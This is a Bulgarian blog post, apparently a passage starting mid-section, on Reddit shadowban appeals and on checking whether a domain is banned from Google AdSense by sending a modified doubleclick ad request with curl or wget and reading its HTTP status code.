След като се установи със сигурност, че акаунта е маркиран пътя към пречистването минава оттук /r/reddit.com и съобщение към администраторите със молба да бъдете отписан от позорния списък. Разбира се не е задължително молбата да ви бъде удовлетворена, всичко зависи от прегрешенията ви. Затова е хубаво да се спазва редикета / reddiquette и правилата на сайта. Специално за оплаквания и мрънкания има отделна секция /r/ShadowBan/ където и блокирани потребители могат да пишат без проблем. Секцията /r/reportthespammers е специално запазена за оплаквания от спамъри.В тази секция модераторите гласуват и потребителя получава shadowban.

Google AdSense ban

Google AdSense ban check

Google AdSense ban
Google AdSense ban

Сега ще ви покажа как можем да проверим дали даден домейн не е изключен от системата за реклами Google AdSense без да кандидатстваме. Разбирате, че това е доста полезно ако планирате да закупите домейн и искате да проверите историята му, без да го закупувате. Досега видях как IsBanned.com и няколко други сайта могат да покажат тази информация и ми е било чудно как я достъпват. Разбира се те няма как да се знаят всички домейни на света както и всички блокирани домейни, това могат само Google да го знаят. Значи все пак има някакъв начин.

Въоръжен с малко доза самоувереност намерих едно извикване към кода за рекламите което на стандартен сайт изглежда така:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3352121096311701&output=html&h=60&slotname=1063815394&adk=3923217926&w=468&lmt=1387959683&flash=11.9.900&url=http%3A%2F%2Fpeter.nikolow.me%2F&dt=1387966883521&bpp=20&shv=r20131210&cbv=r20131209&saldr=sa&correlator=1387966883579&frm=20&ga_vid=1021565215.1387966884&ga_sid=1387966884&ga_hid=805616736&ga_fc=0&u_tz=120&u_his=3&u_java=0&u_h=800&u_w=1280&u_ah=716&u_aw=1280&u_cd=24&u_nplug=13&u_nmime=91&dff=verdana&dfs=11&adx=537&ady=26&biw=1261&bih=151&oid=3&rs=0&vis=0&fu=0&ifi=1&pfi=0&dtd=148&xpc=PSJmvuzmr8&p=http%3A//peter.nikolow.me

Ако го извикваме през curl горния линк връща някакви реклами, както и 200 OK което е сигурен признак че домейна не е блокиран дори и да няма пуснати реклами в момента на него. Нека сега да проверим един “лош” домейн който е бил наказан. В горния линк редактираме всички обръщения към http://peter.nikolow.me и ги заместваме със http://www.budo-zone.com/. Линка придобива следния вид:

http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3352121096311701&output=html&h=60&slotname=1063815394&adk=3923217926&w=468&lmt=1387959683&flash=11.9.900&url=http%3A%2F%2Fwww.budo-zone.com%2F&dt=1387966883521&bpp=20&shv=r20131210&cbv=r20131209&saldr=sa&correlator=1387966883579&frm=20&ga_vid=1021565215.1387966884&ga_sid=1387966884&ga_hid=805616736&ga_fc=0&u_tz=120&u_his=3&u_java=0&u_h=800&u_w=1280&u_ah=716&u_aw=1280&u_cd=24&u_nplug=13&u_nmime=91&dff=verdana&dfs=11&adx=537&ady=26&biw=1261&bih=151&oid=3&rs=0&vis=0&fu=0&ifi=1&pfi=0&dtd=148&xpc=PSJmvuzmr8&p=http%3A//www.budo-zone.com

При извикването му вече получаваме код за грешка: 403 Forbidden. Това е сигурен признак, че домейна е бил блокиран от системата на Google AdSense.

Кода връщан от сървърите може да се провери по няколко начина. Един от най-лесните е да се използва FireBug при Firefox. Ако използвате Safari/Chrome може да се провери при използването на Develop при единия и Developer Tools при другия. Феновете на Opera могат да използват DragonFly за целта. Ако все още ползвате Internet Explorer можете да използвате ieHTTPHeaders или Fiddler. Разбира се това е лесния начин.

Далеч по-елегантния подход е да се използва curl или wget за целта. Няма нужда от научни степени за използването им. При curl трябва да се напише curl -I “URL” (кавичките не са задължителни, но при адреси използващи поне един амперсанд & се стартират фонови процеси във *nix което чупи линка и прави задачата неизползваема). За wget може да се използва следния начин за извикване wget -v “URL” (и тук важи предходния коментар относно амерсандите &).

Разбира се това е само начин за една проста проверка дали домейна е със забрана за показване. Съществуват 2 основни причини за забрана на рекламите – invalid activity и policy reasons. На този адрес Top reasons for account closure можете да проверите какви са разликите между тях. За съжаление и двата типа причини за забрана са заради груби нарушения и не може да се определи кое е по-малкото зло. Ако домейна ви е със забрана за обслужване на реклами поради “policy reasons” можете да поискате преразглеждане на забраната ако попълните заявка на следния адрес: Policy Violation Appeal. Изключително важно е преди попълването на молбата да проверите дали сайта ви отговаря на всички критерии за програмата намиращи се AdSense program policies както и на официалния им блог Inside AdSense. Важно е защото молбата ви ще бъде преразгледана само един единствен път! Всички останали молби ще бъдат директно отказвани със мълчалив отказ. Ако причината за забрана ви е “invalid activity” то можете да се опитате да си вдигнете забраната като попълните тази молба: Invalid Activity appeal.